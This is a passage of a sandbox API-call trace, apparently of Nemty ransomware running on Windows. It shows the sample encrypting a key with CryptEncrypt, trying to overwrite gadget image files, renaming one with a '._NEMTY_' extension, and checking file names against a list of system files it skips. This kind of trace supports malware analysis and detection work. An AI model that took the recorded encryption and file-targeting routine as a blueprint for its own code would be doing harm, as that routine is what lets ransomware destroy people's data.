lpUsedDefaultChar=0x0) returned 20 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.493] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_box_top.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_box_top.png", lpUsedDefaultChar=0x0) returned 20 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0139.493] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.493] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0139.493] Sleep (dwMilliseconds=0x5) [0139.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6cced50, dwHighDateTime=0x1d561e8)) [0139.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6cced50, dwHighDateTime=0x1d561e8)) [0139.508] GetLastError () returned 0x5 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.509] GetLastError () returned 0x5 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0139.509] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0139.509] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0139.509] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="BtAWUHyp6os/5dT+VOLVwsNyIyhZgjUTKt0KRFW6uHJ+//6EinA5c4W1E4xKpXX0\r\nuObQ34NJlwuOrz7TN4VQnBNenqiCpq3KPzk6EIW32p3U9y2HjZQcgnEXi777cNtH\r\noHrh3+OE+x9zmRhMB4Ao246OEY5vY0eqXa4zLfGEuX1WR/OzmiUyyDq1AR00ucHt\r\nuX7jVrZNvQb6oPj+kh4irbD1mf8+kzyou4XeRs4SGgbE+FVR3fUvI61BVbkk6R+i\r\nyJ2HkZ+KFLUErCBxUlJtBkVHnkcc33aBoFQVcGJNwLZuYI+YpzA6kemwVtyGl7HY\r\nUrS2Zl7Eva6s71Kr2jqgYg==\r\n", pcchString=0x653e91c) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0139.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0139.509] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0139.509] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0139.509] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0139.509] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0139.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.584] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.584] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.584] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.594] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.603] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.603] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.603] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.612] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.612] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.612] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0139.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.618] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0139.618] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0139.618] CloseHandle (hObject=0xffffffff) returned 0 [0139.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0139.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0139.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0139.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0139.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0139.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0139.618] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0139.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\settings_box_top.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\settings_box_top.png._nemty_kgobjgd_")) returned 0 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0139.618] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0139.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0139.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0139.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.619] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c6332b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c6332b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="..") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="...") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="windows") returned -1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="$RECYCLE.BIN") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="rsa") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="NTDETECT.COM") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="ntldr") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="MSDOS.SYS") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="IO.SYS") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="boot.ini") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="boot.ini") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="ntuser.dat") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="desktop.ini") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="CONFIG.SYS") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="RECYCLER") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="BOOTSECT.BAK") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="bootmgr") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="programdata") returned 1 [0139.619] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="appdata") returned 1 [0139.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0139.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0139.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0139.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0139.619] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.619] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0139.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0139.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0139.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0139.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0139.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0139.620] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0139.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401d8 [0139.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0139.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0139.620] Sleep (dwMilliseconds=0x5) [0139.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6dff850, dwHighDateTime=0x1d561e8)) [0139.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x6dff850, dwHighDateTime=0x1d561e8)) [0139.633] GetLastError () returned 0x5 [0139.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0139.633] GetLastError () returned 0x5 [0139.633] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0139.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0139.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 